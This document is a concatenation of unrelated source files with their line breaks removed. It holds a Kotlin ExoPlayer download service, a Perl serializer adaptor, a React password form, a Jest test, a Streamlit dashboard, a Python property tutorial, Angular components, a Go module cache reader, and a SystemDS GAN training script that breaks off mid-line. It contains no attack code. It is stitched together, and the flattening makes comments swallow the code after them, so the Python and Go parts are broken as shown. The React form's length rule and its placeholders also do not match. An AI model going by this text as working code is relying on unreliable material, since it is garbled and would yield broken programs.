package com.pallycon.widevine.service import android.app.Notification import android.content.Context import androidx.annotation.Keep import com.google.android.exoplayer2.offline.Download import com.google.android.exoplayer2.offline.DownloadManager import com.google.android.exoplayer2.offline.DownloadService import com.google.android.exoplayer2.scheduler.PlatformScheduler import com.google.android.exoplayer2.scheduler.Scheduler import com.google.android.exoplayer2.ui.DownloadNotificationHelper import com.google.android.exoplayer2.util.NotificationUtil import com.google.android.exoplayer2.util.Util import com.pallycon.widevine.R import com.pallycon.widevine.util.DownloadManagerUtil /** Download Service */ @Keep class PallyConDownloadService constructor( private val JOB_ID: Int = 1, private val FOREGROUND_NOTIFICATION_ID: Int = 1 ) : DownloadService( FOREGROUND_NOTIFICATION_ID, DEFAULT_FOREGROUND_NOTIFICATION_UPDATE_INTERVAL, DownloadManagerUtil.getInstanceNotContext().getNotificationChannelId(), R.string.exo_download_notification_channel_name, 0 ) { override fun getDownloadManager(): DownloadManager { val manager: DownloadManager = DownloadManagerUtil .getInstance(this).getDownloadManager() val downloadNotificationHelper: DownloadNotificationHelper = DownloadManagerUtil .getInstance(this).getDownloadNotificationHelper() manager.addListener( TerminalStateNotificationHelper( this, downloadNotificationHelper, FOREGROUND_NOTIFICATION_ID + 1 ) ) return manager } override fun getScheduler(): Scheduler? { return if (Util.SDK_INT >= 21) PlatformScheduler(this, JOB_ID) else null } override fun getForegroundNotification( downloads: List<Download>, notMetRequirements: Int ): Notification { val downloadNotificationHelper: DownloadNotificationHelper = DownloadManagerUtil .getInstance(this).getDownloadNotificationHelper() return downloadNotificationHelper .buildProgressNotification( this, R.drawable.pallycon_ic_baseline_arrow_downward_24, null, /* message= */ null, downloads, notMetRequirements ) } private class TerminalStateNotificationHelper( context: Context, notificationHelper: DownloadNotificationHelper, firstNotificationId: Int ) : DownloadManager.Listener { private val context: Context private val notificationHelper: DownloadNotificationHelper private var nextNotificationId: Int override fun onDownloadChanged( downloadManager: DownloadManager, download: Download, finalException: Exception? ) { val notification: Notification notification = if (download.state == Download.STATE_COMPLETED) { notificationHelper.buildDownloadCompletedNotification( context, R.drawable.pallycon_ic_baseline_done_24, /* contentIntent= */ null, Util.fromUtf8Bytes(download.request.data) ) } else if (download.state == Download.STATE_FAILED) { notificationHelper.buildDownloadFailedNotification( context, R.drawable.pallycon_ic_baseline_done_24, /* contentIntent= */ null, Util.fromUtf8Bytes(download.request.data) ) } else { return } NotificationUtil.setNotification(context, nextNotificationId++, notification) } init { this.context = context.applicationContext this.notificationHelper = notificationHelper nextNotificationId = firstNotificationId } } }
package Any::Renderer::Data::Serializer; # $Id: Serializer.pm,v 1.5 2006/09/04 12:15:54 johna Exp $ use strict; use vars qw($VERSION %Formats); use Data::Serializer; use File::Find; #If true data::serializer modules are loaded to check they compile #Set to true value for safety at the cost of performance/memory (e.g. in a dev/test env) use constant MUST_COMPILE => $ENV{ANY_RENDERER_DS_SAFE}; $VERSION = sprintf"%d.%03d", q$Revision: 1.5 $ =~ /: (\d+)\.(\d+)/; sub new { my ( $class, $format, $options ) = @_; unless($Formats{$format}) { _scan_available_formats(); #Discover if it's appeared recently die("The format '$format' doesn't appear to be supported by Data::Serializer") unless($Formats{$format}); } my $self = { 'format' => $format, 'options' => $options, }; bless $self, $class; return $self; } sub render { my ( $self, $data ) = @_; TRACE ( "Rendering w/Data::Serializer" ); DUMP ("Input data structure", $data ); my $ds = new Data::Serializer('serializer' => $self->{format}, 'options' => $self->{options}) or die($!); my $string = $ds->raw_serialize($data); TRACE("Rendered as: " . $string); return $string; } sub requires_template { my ( $format ) = @_; return 0; #None do } sub available_formats { _scan_available_formats(); return [ sort keys %Formats ]; } sub _scan_available_formats { TRACE ( "Generating list of all possible formats" ); my @possible_locations = grep { -d $_ } map { File::Spec->catdir ( $_, split ( /::/, 'Data::Serializer' ) ) } @INC; my %found; my $collector = sub { return unless $_ =~ /\.pm$/; my $file = $File::Find::name; $file =~ s/\Q$File::Find::topdir\E//; $file =~ s/\.pm$//; my @dirs = File::Spec->splitdir ( $file ); shift @dirs; $file = join ( "::", @dirs ); return if $file eq 'Cookbook'; #Skip non-backend modules in D::S namespace $found{ $file } = 1; }; File::Find::find ( $collector, @possible_locations ); #Only add those that compile if(MUST_COMPILE) { %Formats = (); foreach my $module (keys %found) { eval { _load_module($module); $Formats{$module} = 1; }; warn($@) if($@); } } else { %Formats = %found; } DUMP("Available formats", \%Formats); } sub _load_module { my $file = shift; my $module = "Data::Serializer::" . $file; TRACE ( "Loading Data::Serializer backend '" . $module . "'" ); die ("Module name $module looks dodgy - will not load") unless($module =~ /^[\w:]+$/); #Protect against code injection eval "require " . $module; die ("Data::Serializer - problem loading backend module: ". $@ ) if ( $@ ); return $module; } sub TRACE {} sub DUMP {} 1; =head1 NAME Any::Renderer::Data::Serializer - adaptor for Any::Renderer to use any Data::Serializer backends =head1 SYNOPSIS use Any::Renderer; my %options = (); my $format = "YAML"; #One of the formats provided by Data::Serializer my $r = new Any::Renderer ( $format, \%options ); my $data_structure = [...]; # arbitrary structure code my $string = $r->render ( $data_structure ); =head1 DESCRIPTION Any::Renderer::Data::Serializer renders any Perl data structure passed to it into a string representation using modules exposing the Data::Serializer API. =head1 FORMATS All the formats supported by Data::Serializer. Try this to find out what's available on your system: perl -MAny::Renderer::Data::Serializer -e "print join(qq{\n}, sort @{Any::Renderer::Data::Serializer::available_formats()})" =head1 METHODS =over 4 =item $r = new Any::Renderer::Data::Serializer($format, \%options) See L</FORMATS> for a description of valid values for C<$format>. C<%options> are passed through to the backend module (e.g. to XML::Dumper) =item $string = $r->render($data_structure) The main method. =item $bool = Any::Renderer::Data::Serializer::requires_template($format) This will be false for these formats. =item $list_ref = Any::Renderer::Data::Serializer::available_formats() This will discover the formats supported by your Data::Serializer installation. =back =head1 ENVIRONMENT Set the C<ANY_RENDERER_DS_SAFE> environment variable to a true value if you want to check each Data::Serializer backend compiles before adding it to the list of available formats. This is safer in that modules with missing dependencies are not advertised as available but it incurs a CPU and memory overhead. =head1 SEE ALSO L<Data::Serializer>, L<Any::Renderer> =head1 VERSION $Revision: 1.5 $ on $Date: 2006/09/04 12:15:54 $ by $Author: johna $ =head1 AUTHOR John Alden <cpan _at_ bbc _dot_ co _dot_ uk> =head1 COPYRIGHT (c) BBC 2006. This program is free software; you can redistribute it and/or modify it under the GNU GPL. See the file COPYING in this distribution, or http://www.gnu.org/licenses/gpl.txt =cut
"use client"; import { resetPassword } from "@/actions/resetPassword"; import React, { useEffect, useState, useTransition } from "react"; import { toast } from "sonner"; type props = { password: string | null; }; export function ChangePassword({ password }: props) { const [newPassword, setNewPassword] = useState(""); const isChanged = newPassword !== password; const [isPending, startTransition] = useTransition(); const passwordRegex = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[!@#$%^&*()_+{}\[\]:;<>,.?~\\-]).{6,}$/; const isValid = passwordRegex.test(newPassword); const formHandle = (e: FormData) => { if (e) { startTransition(async () => { const resetPasswordPromise = await resetPassword(e); if (resetPasswordPromise?.success) { toast.success(resetPasswordPromise?.success); } if (resetPasswordPromise?.error) { toast.error(resetPasswordPromise.error); } }); } }; useEffect(() => { if (isPending) { toast.loading("Loading ...!"); } }, [isPending]); return ( <> <h2 className="text-[24px] font-bold text-[#777777]">Change Password</h2> <form action={formHandle} className="flex flex-col gap-6 "> <div className="flex flex-col gap-1"> <label htmlFor="currentPassword" className="font-medium"> Current Password </label> <input type="password" id="currentPassword" name="currentPassword" required placeholder="Enter your work email" className="bg-[#232323] rounded-[10px] px-8 py-4 outline-none opacity-40" /> </div> <div className="flex flex-col gap-1"> <label htmlFor="newPassword" className="font-medium"> New Password </label> <input type="password" id="newPassword" name="newPassword" value={newPassword} onChange={(e) => setNewPassword(e.target.value)} required placeholder="Enter your work email" className="bg-[#232323] rounded-[10px] px-8 py-4 outline-none opacity-40" /> {!isValid && ( <p className="text-[14px] text-red-500 max-w-[400px]"> Password must be minimum 8 characters long and contain atleast one uppercase, one lowercase and one number. </p> )} </div> <button type="submit" disabled={isPending || !isChanged || !isValid} className={`btn sec ${ (isPending || !isChanged || !isValid) && "opacity-50 cursor-not-allowed " }`} > {isPending ? "Loading..." : "Update Password"} </button> </form> </> ); }
import PokedexHeader from '~/infrastructure/react/ui/layout/Header' import { render, screen } from '@testing-library/react' import { labels } from '~/shared/labels' describe('PokedexHeader', () => { // Tests that the class name of the header element is set correctly it('should set the class name of the header element correctly', () => { render(<PokedexHeader />) const headerElement = screen.getByRole('banner') expect(headerElement).toHaveClass( 'h-8 w-full bg-red-600 flex justify-center items-center' ) }) // Tests that the aria-label attribute of the header element is set correctly it('should set the aria-label attribute of the header element correctly', () => { render(<PokedexHeader />) const headerElement = screen.getByRole('banner') expect(headerElement).toHaveAttribute('aria-label', labels.APP_NAME) }) // Tests that the value of labels.APP_NAME is displayed inside the header element it('should display the value of labels.APP_NAME inside the header element', () => { render(<PokedexHeader />) const headerElement = screen.getByRole('banner') expect(headerElement).toHaveTextContent(labels.APP_NAME) }) })
import streamlit as st import plotly.express as px def createPage(df, ano): st.empty() st.header("Publicações", divider='red', anchor=False) df_ano = df.query("ano_publicacao == @ano") # Seção de indicadores col_ind_1, col_ind_2, col_ind_3 = st.columns(3) total_artigos_anoselecionado = df_ano['coi_artigo'].count() total_artigos_anoanterior = df.query("ano_publicacao == @ano-1")['coi_artigo'].count() diferenca_qtd_artigos = total_artigos_anoselecionado - total_artigos_anoanterior col_ind_1.metric( f"Publicações em {ano}", total_artigos_anoselecionado, f"{diferenca_qtd_artigos}", help=f"Quantidade de Publicações publicados em {ano} e a diferença em relação à quantidade no ano anterior." ) total_ri_anoselecionado = (df_ano['veiculo'] == 'REVISTA INTERNACIONAL').sum() total_ri_anoanterior = ( df[['veiculo', 'ano_publicacao']] .query("ano_publicacao == @ano-1 & veiculo == 'REVISTA INTERNACIONAL'")['veiculo'] .count() ) diferenca_ri = total_ri_anoselecionado - total_ri_anoanterior col_ind_2.metric( f"RI em {ano}", total_ri_anoselecionado, f"{diferenca_ri}", help=f"Quantidade de Publicações publicados em {ano} e a diferença em relação à quantidade no ano anterior." ) qt_autores_internacionais_anoselecionado = len(df_ano[df_ano ['autor_internacional']=='S']) qt_autores_inter_anoanterior = df[['autor_internacional', 'ano_publicacao']].query("ano_publicacao == @ano-1 & autor_internacional == 'S'")['autor_internacional'].count() diferenca_autores_inter = qt_autores_internacionais_anoselecionado - qt_autores_inter_anoanterior col_ind_3.metric( f"Autores Internacionais em {ano}", len(df_ano[df_ano['autor_internacional']=='S']), f"{diferenca_autores_inter}", help=f"Quantidade de Publicações publicados em {ano} e a taxa em relação ao ano anterior.", ) dflang_artigo = df_ano[['idioma', 'coi_artigo']].groupby("idioma").count().sort_values(by="coi_artigo", ascending=False).reset_index() # total = len(df_ano) dfveiculo_artigo = df_ano[['veiculo', 'coi_artigo']].groupby("veiculo").count().reset_index() dfartigo_fruto = df_ano[['programa','fruto', 'coi_artigo']].groupby(["programa", 'fruto']).count().reset_index() # Seção de gráficos st.subheader("Gráficos") col1, col2 = st.columns(2) with col1: pie_chart = px.pie( dflang_artigo, title='Publicações por Idioma', values="coi_artigo", names="idioma", color_discrete_sequence=px.colors.sequential.Reds_r ).update_layout(title_x=0.27) st.plotly_chart(pie_chart, theme="streamlit", use_container_width=True) with col2: pie_chart = px.pie ( dfveiculo_artigo, title="Publicações por Tipo de veículo", values="coi_artigo", names="veiculo", color_discrete_sequence=px.colors.sequential.Reds_r ).update_layout(title_x=0.17) st.plotly_chart(pie_chart, theme="streamlit", use_container_width=True) df_prog_veiculo = ( df_ano[['veiculo', 'coi_artigo', 'programa']] .groupby(['veiculo', 'programa']).count() .sort_values(by="coi_artigo", ascending=False).reset_index() ) hbar_chart = px.bar ( df_prog_veiculo, title="Publicações por Programa e Tipo de veículo", x='coi_artigo', y='programa', color="veiculo", orientation='h', text_auto=True, labels={'coi_artigo': 'Quantidade de Publicações', 'programa': 'Programa', 'veiculo': 'Veículo'}, color_discrete_sequence=px.colors.sequential.Reds_r, ) st.plotly_chart(hbar_chart, theme="streamlit", use_container_width=True) vbar_chart=px.bar( dfartigo_fruto, title='Publicações por Programa e Origem', x='programa', y='coi_artigo', color="fruto", orientation='v', text_auto=True, labels={'coi_artigo': 'Quantidade de Publicações', 'programa': 'Programa', 'veiculo': 'Veículo', 'fruto': 'Origem'}, color_discrete_sequence=px.colors.sequential.Reds_r, category_orders={"fruto":['Dissertação de Mestrado', 'Tese de Doutorado', 'Pós Doutorado', 'Trabalho Final de Curso', 'Iniciação Científica'] } ) st.plotly_chart(vbar_chart, theme="streamlit", use_container_width=True) return True
class Student: def __init__(self, name, grade): self.name = name self.grade = grade # self.email = name + '@student.com' # 此逻辑定义到第10行了 可自行解开注释实验一下有何区别 @property def email(self): return f'{self.name}@student.com' # @property # def name(self): # return self._name # @name.setter # def name(self, value): # self._name = value def student_info(self): return f'{self.name}|{self.grade}|{self.email}' std_1 = Student('Kuroye',11) print(std_1.name) print(std_1.email) print(std_1.student_info()) print('---修改后---') std_1.name = 'Erhan' # 此变量变为 Erhan print(std_1.name) # 在为email添加getter(@property)前 此变量还是 Kuroye@student.com print(std_1.email) # 在为email添加getter(@property)前 此变量里name改变了 email没变 print(std_1.student_info()) # 若想email一同改变的话 可以在class里定义一个方法 # 如 第10行 # 这有一个问题 变量变为方法后 需要修改的地方会变多 # print(std_1.email()) # 所以应使用python里的属性装饰器使方法像变量 # 如 第9行 print(std_1.email) # @property装饰器可视为getter # python里setter的写法为 # @name.setter # def name(self, value): # self._name = value
import { Component } from '@angular/core'; import { FormControl } from '@angular/forms'; import { Observable, Subject, map, merge, pipe, reduce, scan, tap, withLatestFrom } from 'rxjs'; @Component({ selector: 'app-merge', templateUrl: './merge.component.html', styleUrls: ['./merge.component.css'] }) export class MergeComponent { input1 = new FormControl(0); input2 = new FormControl(0); focusSubject1$ = new Subject<number>() focusSubject2$ = new Subject<number>() merge$: Observable<number> scan$: Observable<number> reduce$: Observable<number> constructor() { this.merge$ = merge( this.focusSubject1$,this.focusSubject2$).pipe( map(curr=>curr) ) this.scan$ = this.merge$.pipe( scan((prev, curr) => curr + prev, 0) ) this.reduce$ = this.merge$.pipe( reduce((prev, curr) => curr + prev, 0) ) } changeStreamOneValue(){ if(this.input1.value) this.focusSubject1$.next(this.input1.value) } changeStreamTwoValue(){ if(this.input2.value) this.focusSubject2$.next(this.input2.value) } finishStream1() { this.focusSubject1$.complete() } finishStream2() { this.focusSubject2$.complete() } }
<div class="add-provider-modal"> <div class="modal-header"> <button class="close-button button-hover" (click)="closeDialog()"> &#x2715; </button> </div> <div class="form-container"> <form #addForm="ngForm" (ngSubmit)="addProvider(addForm.value)"> <span class="modal-title">Add A Provider</span> <div class="single-field"> <div class="field single"> <div class="input-group"> <label for="name">What's the Provider's Name?</label> <input required [(ngModel)]="provider.name" id="name" name="name" placeholder="WillGreen Cabs" pattern="^[a-zA-Z\s]+$" [class.is_invalid]="name.invalid && name.touched" #name="ngModel"/> <div *ngIf="name.errors && (name.touched && name.invalid)"> <small class="text-danger" *ngIf="name?.errors.required">Provider's Name is required</small> <small class="text-danger" *ngIf="name?.errors.pattern">Please provide a valid Provider's Name</small> </div> </div> </div> </div> <div class="single-field"> <div class="field single"> <div class="input-group"> <label for="email">Provider User's Email</label> <input required id="email" name="email" placeholder="john.doe@company.com" [(ngModel)]="provider.email" type="email" email pattern="\S+@\S+\.\S+" [class.is_invalid]="email.invalid && email.touched" #email="ngModel"/> <div *ngIf="email.errors && (email.touched && email.invalid)"> <small class="text-danger" *ngIf="email?.errors.required">email field is required</small> <small class="text-danger" *ngIf="email?.errors.email">email is invalid</small> </div> </div> </div> </div> <div class="single-field"> <div class="field single"> <div class="input-group"> <label for="phoneNo">Provider User's Phone Number</label> <input required id="phoneNo" name="phoneNo" placeholder="+" [(ngModel)]="provider.phoneNo" type="phoneNo" phoneNo pattern="^\+[1-9]\d{6,14}$" [class.is_invalid]="phoneNo.invalid && phoneNo.touched" #phoneNo="ngModel"/> <div *ngIf="phoneNo.errors && (phoneNo.touched && phoneNo.invalid)"> <small class="text-danger" *ngIf="phoneNo?.errors.required">Phone number field is required</small> <small class="text-danger" *ngIf="phoneNo?.errors.phoneNo">Phone number is invalid</small> <small class="text-danger" *ngIf="phoneNo?.errors.pattern">Please provide a valid phone number. example: +250700000000</small> </div> </div> </div> </div> <div class="single-field"> <div class="field single"> <div class="input-group"> <label for="notificationChannel">Receive notification via:</label> <mat-select class="channels-dropdown" (selectionChange)="toggleNotificationChannel($event.value)" [(ngModel)]="provider.notificationChannel" name="notificationChannel"> <mat-option *ngFor="let options of notificationChannels" [value]="options.value" [title]="options.key"> {{ options.key }} </mat-option> </mat-select> </div> </div> </div> <div *ngIf="showSlackChannels" class="single-field"> <div class="field single"> <div class="input-group"> <label for="channelId">Slack Channel ID</label> <mat-select class="channels-dropdown" [(ngModel)]="provider.channelId" name="channelId" (selectionChange)="toggleSlackChannelId($event.value)"> <mat-option *ngFor="let channel of slackChannels" [value]="channel.id" [title]="channel.description"> {{ channel.name }} </mat-option> </mat-select> </div> </div> </div> <button type="submit" [disabled]="loading || addForm.invalid"> <i *ngIf="loading" class="fa fa-circle-o-notch fa-spin"></i> &nbsp; <span>Submit</span> </button> </form> </div> </div>
// Copyright 2020-2023 Buf Technologies, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package bufmodulecache import ( "context" "github.com/bufbuild/buf/private/bufpkg/bufmodule" "github.com/bufbuild/buf/private/bufpkg/bufmodule/bufmoduleref" "github.com/bufbuild/buf/private/pkg/filelock" "github.com/bufbuild/buf/private/pkg/storage" "github.com/bufbuild/buf/private/pkg/verbose" "go.uber.org/multierr" "go.uber.org/zap" ) type moduleReader struct { logger *zap.Logger verbosePrinter verbose.Printer fileLocker filelock.Locker cache *moduleCacher delegate bufmodule.ModuleReader repositoryClientFactory RepositoryServiceClientFactory stats *cacheStats } func newModuleReader( logger *zap.Logger, verbosePrinter verbose.Printer, fileLocker filelock.Locker, dataReadWriteBucket storage.ReadWriteBucket, sumReadWriteBucket storage.ReadWriteBucket, delegate bufmodule.ModuleReader, repositoryClientFactory RepositoryServiceClientFactory, options ...ModuleReaderOption, ) *moduleReader { moduleReaderOptions := &moduleReaderOptions{} for _, option := range options { option(moduleReaderOptions) } return &moduleReader{ logger: logger, verbosePrinter: verbosePrinter, fileLocker: fileLocker, cache: newModuleCacher( logger, dataReadWriteBucket, sumReadWriteBucket, moduleReaderOptions.allowCacheExternalPaths, ), delegate: delegate, repositoryClientFactory: repositoryClientFactory, stats: &cacheStats{}, } } func (m *moduleReader) GetModule( ctx context.Context, modulePin bufmoduleref.ModulePin, ) (_ bufmodule.Module, retErr error) { cacheKey := newCacheKey(modulePin) // First, do a GetModule with a read lock to see if we have a valid module. readUnlocker, err := m.fileLocker.RLock(ctx, cacheKey) if err != nil { return nil, err } module, err := m.cache.GetModule(ctx, modulePin) err = multierr.Append(err, readUnlocker.Unlock()) if err == nil { m.logger.Debug( "cache_hit", zap.String("module_pin", modulePin.String()), ) m.stats.MarkHit() return module, nil } if !storage.IsNotExist(err) { return nil, err } // We now had a IsNotExist error, so we do a write lock and check again (double locking). // If we still have an error, we do a GetModule from the delegate, and put the result. // // Note that IsNotExist will happen if there was a checksum mismatch as well, in which case // we want to overwrite whatever is actually in the cache and self-correct the issue unlocker, err := m.fileLocker.Lock(ctx, cacheKey) if err != nil { return nil, err } defer func() { retErr = multierr.Append(retErr, unlocker.Unlock()) }() module, err = m.cache.GetModule(ctx, modulePin) if err == nil { m.logger.Debug( "cache_hit", zap.String("module_pin", modulePin.String()), ) m.stats.MarkHit() return module, nil } if !storage.IsNotExist(err) { return nil, err } m.stats.MarkMiss() // We now had a IsNotExist error within a write lock, so go to the delegate and then put. m.logger.Debug( "cache_miss", zap.String("module_pin", modulePin.String()), ) m.verbosePrinter.Printf("downloading " + modulePin.String()) module, err = m.delegate.GetModule(ctx, modulePin) if err != nil { return nil, err } if err := m.cache.PutModule( ctx, modulePin, module, ); err != nil { return nil, err } if err := warnIfDeprecated(ctx, m.repositoryClientFactory, modulePin, m.logger); err != nil { return nil, err } return module, nil }
#------------------------------------------------------------- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # #------------------------------------------------------------- source("nn/layers/affine.dml") as affine source("nn/layers/leaky_relu.dml") as leaky_relu source("nn/layers/conv2d_builtin.dml") as conv2d source("nn/layers/conv2d_transpose.dml") as conv2d_transpose source("nn/layers/log_loss.dml") as log_loss source("nn/layers/dropout.dml") as dropout source("nn/layers/batch_norm1d.dml") as batch_norm_1d source("nn/layers/batch_norm2d.dml") as batch_norm_2d source("nn/layers/softmax.dml") as softmax source("nn/layers/sigmoid.dml") as sigmoid source("nn/layers/tanh.dml") as tanh source("nn/optim/adam.dml") as adam train = function(matrix[double] X, int iterations) return (matrix[double] GW_1, matrix[double] Gb_1, matrix[double] GW_2, matrix[double] Gb_2, matrix[double] GW_3, matrix[double] Gb_3, matrix[double] GW_4, matrix[double] Gb_4, matrix[double] DW_1, matrix[double] Db_1, matrix[double] DW_2, matrix[double] Db_2, matrix[double] DW_3, matrix[double] Db_3) { /* * Trains the generator and the discriminator of the GAN. * * The input matrix, X, has N examples, each with 784 features. * * Inputs: * - X: Input data matrix, of shape (N, 784). * - iterations: number of iterations for training * * Outputs: * - GW_1: Generator 1st layer weights (parameters) matrix, of shape (100, D). * - Gb_1: Generator 1st layer biases vector, of shape (1, D). * - GW_2: Generator 2nd layer weights (parameters) matrix, of shape (256, 128*HWf*HWf). * - Gb_2: Generator 2nd layer biases vector, of shape (128, 1). * - GW_3: Generator 3rd layer weights (parameters) matrix, of shape (128, 64*HWf*HWf). * - Gb_3: Generator 3rd layer biases vector, of shape (64, 1). * - GW_4: Generator 4th layer weights (parameters) matrix, of shape (64, 1*HWf*HWf). * - Gb_4: Generator 4th layer biases vector, of shape (1, 1). * - DW_1: Discriminator 1st layer weights (parameters) matrix, of shape (64, 1*HWf*HWf). * - Db_1: Discriminator 1st layer biases vector, of shape (64, 1). * - DW_2: Discriminator 2nd layer weights (parameters) matrix, of shape (128, 64*HWf*HWf). * - Db_2: Discriminator 2nd layer biases vector, of shape (128, 1). * - DW_3: Discriminator 3rd layer weights (parameters) matrix, of shape (6272, 1). * - Db_3: Discriminator 3rd layer biases vector, of shape (1, 1). */ N = nrow(X) batch_size = 128 half_batch = batch_size / 2 D = 7*7*256 HWf = 5 #Define Generator: [GW_1, Gb_1] = affine::init(100, D, -1) [GW_2, Gb_2] = conv2d_transpose::init(128, 256, HWf, HWf) [GW_3, Gb_3] = conv2d_transpose::init(64, 128, HWf, HWf) [GW_4, Gb_4] = conv2d_transpose::init(1, 64, HWf, HWf) [mGW_1, vGW_1] = adam::init(GW_1) [mGb_1, vGb_1] = adam::init(Gb_1) [mGW_2, vGW_2] = adam::init(GW_2) [mGb_2, vGb_2] = adam::init(Gb_2) [mGW_3, vGW_3] = adam::init(GW_3) [mGb_3, vGb_3] = adam::init(Gb_3) [mGW_4, vGW_4] = adam::init(GW_4) [mGb_4, vGb_4] = adam::init(Gb_4) gen_model = list(GW_1, Gb_1, GW_2, Gb_2, GW_3, Gb_3, GW_4, Gb_4) gen_grad = list(mGW_1, vGW_1, mGb_1, vGb_1, mGW_2, vGW_2, mGb_2, vGb_2, mGW_3, vGW_3, mGb_3, vGb_3, mGW_4, vGW_4, mGb_4, vGb_4) #Define Discriminator: [DW_1, Db_1] = conv2d::init(64, 1, HWf, HWf, -1) [DW_2, Db_2] = conv2d::init(128, 64, HWf, HWf, -1) [DW_3, Db_3] = affine::init(6272, 1, -1) [mDW_1, vDW_1] = adam::init(DW_1) [mDb_1, vDb_1] = adam::init(Db_1) [mDW_2, vDW_2] = adam::init(DW_2) [mDb_2, vDb_2] = adam::init(Db_2) [mDW_3, vDW_3] = adam::init(DW_3) [mDb_3, vDb_3] = adam::init(Db_3) disc_model = list(DW_1, Db_1, DW_2, Db_2, DW_3, Db_3) disc_grad = list(mDW_1, vDW_1, mDb_1, vDb_1, mDW_2, vDW_2, mDb_2, vDb_2, mDW_3, vDW_3, mDb_3, vDb_3) fake = matrix(0, 0, 784) for(i in 1:iterations) { print('step ' + toString(i) + ' / ' + toString(iterations)) #generate samples noise = rand(rows = half_batch, cols = 100, min = 0.0, max = 1.0) [fake_images, gen_params] = gen_forward(noise, gen_model, 'train') rand = sample(N, half_batch) real_images = matrix(0, half_batch, 784) for(r in 1:half_batch) { real_images[r,] = X[as.scalar(rand[r]),] } #train discriminator [decision, disc_params] = disc_forward(real_images, disc_model) targets = matrix(1, half_batch, 1) dloss1 = log_loss::forward(decision, targets) [dX, disc_model, disc_grad] = disc_backward(decision, targets, FALSE, i, disc_model, disc_grad, disc_params) [decision, disc_params] = disc_forward(fake_images, disc_model) targets = matrix(0, half_batch, 1) dloss2 = log_loss::forward(decision, targets) [dX, disc_model, disc_grad] = disc_backward(decision, targets, FALSE, i, disc_model, disc_grad, disc_params) print('discriminator_loss: ' + toString((dloss1 + dloss2))) #generate samples noise = rand(rows = batch_size, cols = 100, min = 0.0, max = 1.0) [fake_images, gen_params] = gen_forward(noise, gen_model, 'train') #train generator [decision, disc_params] = disc_forward(fake_images, disc_model) targets = matrix(1, batch_size, 1) gloss = log_loss::forward(decision, targets) [dX, disc_model, disc_grad] = disc_backward(decision, targets, TRUE, i, disc_model, disc_grad, disc_params) [gen_model, gen_grad] = gen_backward(dX, i, gen_model, gen_grad, gen_params, 'train') print('generator_loss: ' + toString(gloss)) # get sample generated image to observe evolution of generated images if(i %% (iterations/10) == 0) { fake = rbind(fake, fake_images[1]) } } out_dir = "target/testTemp/applications/GAN/GANTest/" fake = 0.5 * fake + 0.5 write(fake, out_dir+"/evo") DW_1 = as.matrix(disc_model[1]) Db_1 = as.matrix(disc_model[2]) DW_2 = as.matrix(disc_model[3]) Db_2 = as.matrix(disc_model[4]) DW_3 = as.matrix(disc_model[5]) Db_3 = as.matrix(disc_model[6]) GW_1 = as.matrix(gen_model[1]) Gb_1 = as.matrix(gen_model[2]) GW_2 = as.matrix(gen_model[3]) Gb_2 = as.matrix(gen_model[4]) GW_3 = as.matrix(gen_model[5]) Gb_3 = as.matrix(gen_model[6]) GW_4 = as.matrix(gen_model[7]) Gb_4 = as.matrix(gen_model[8]) } gen_forward = function(matrix[double] noise, list[unknown] model, String mode) return(matrix[double] images, list[unknown] params) { /* * Computes the forward pass of the generator. * Generates fake images from input noise. * * Inputs: * - noise: Randomly generated noise, of shape (N, 100). * - model: List containing the generator weights and biases. * - mode: 'train' or 'test' for batch normalization layers. * * Outputs: * - images: Generated images, of shape (N, 784). * - params: List of outputs of the generator layers, needed for backward pass. */ D = 7*7*256 HWf = 5 pad = 2 stride = 2 GW_1 = as.matrix(model[1]) Gb_1 = as.matrix(model[2]) GW_2 = as.matrix(model[3]) Gb_2 = as.matrix(model[4]) GW_3 = as.matrix(model[5]) Gb_3 = as.matrix(model[6]) GW_4 = as.matrix(model[7]) Gb_4 = as.matrix(model[8]) #Generator forward: #Layer 1 out_1G = affine::forward(noise, GW_1, Gb_1) [out_1G_batch_norm, ema_mean_upd_1, ema_var_upd_1, cache_mean_1, cache_var_1, cache_norm_1] = batch_norm_1d::forward(out_1G, matrix(1,1,D), matrix(0,1,D), mode, matrix(0,1,D), matrix(1,1,D), 0.99, 0.001) out_1G_leaky_relu = leaky_relu::forward(out_1G_batch_norm) #Layer 2 [out_2G, hout_2G, wout_2G] = conv2d_transpose::forward(out_1G_leaky_relu, GW_2, Gb_2, 256, 7, 7, HWf, HWf, 1, 1, pad, pad, 0, 0) [out_2G_batch_norm, ema_mean_upd_2, ema_var_upd_2, cache_mean_2, cache_inv_var_2] = batch_norm_2d::forward(out_2G, matrix(1,128,1), matrix(0,128,1), 128, hout_2G, wout_2G, mode, matrix(0,128,1), matrix(1,128,1), 0.99, 0.001) out_2G_leaky_relu = leaky_relu::forward(out_2G_batch_norm) #Layer 3 [out_3G, hout_3G, wout_3G] = conv2d_transpose::forward(out_2G_leaky_relu, GW_3, Gb_3, 128, hout_2G, wout_2G, HWf, HWf, stride, stride, pad, pad, 1, 1) [out_3G_batch_norm, ema_mean_upd_3, ema_var_upd_3, cache_mean_3, cache_inv_var_3] = batch_norm_2d::forward(out_3G, matrix(1,64,1), matrix(0,64,1), 64, hout_3G, wout_3G, mode, matrix(0,64,1), matrix(1,64,1), 0.99, 0.001) out_3G_leaky_relu = leaky_relu::forward(out_3G_batch_norm) #Output Layer [out_4G, hout_4G, wout_4G] = conv2d_transpose::forward(out_3G_leaky_relu, GW_4, Gb_4, 64, hout_3G, wout_3G, HWf, HWf, stride, stride, pad, pad, 1, 1) out_4G_tanh = tanh::forward(out_4G) images = out_4G_tanh params = list(noise, out_1G, out_1G_batch_norm, ema_mean_upd_1, ema_var_upd_1, cache_mean_1, cache_var_1, cache_norm_1, out_1G_leaky_relu, out_2G, 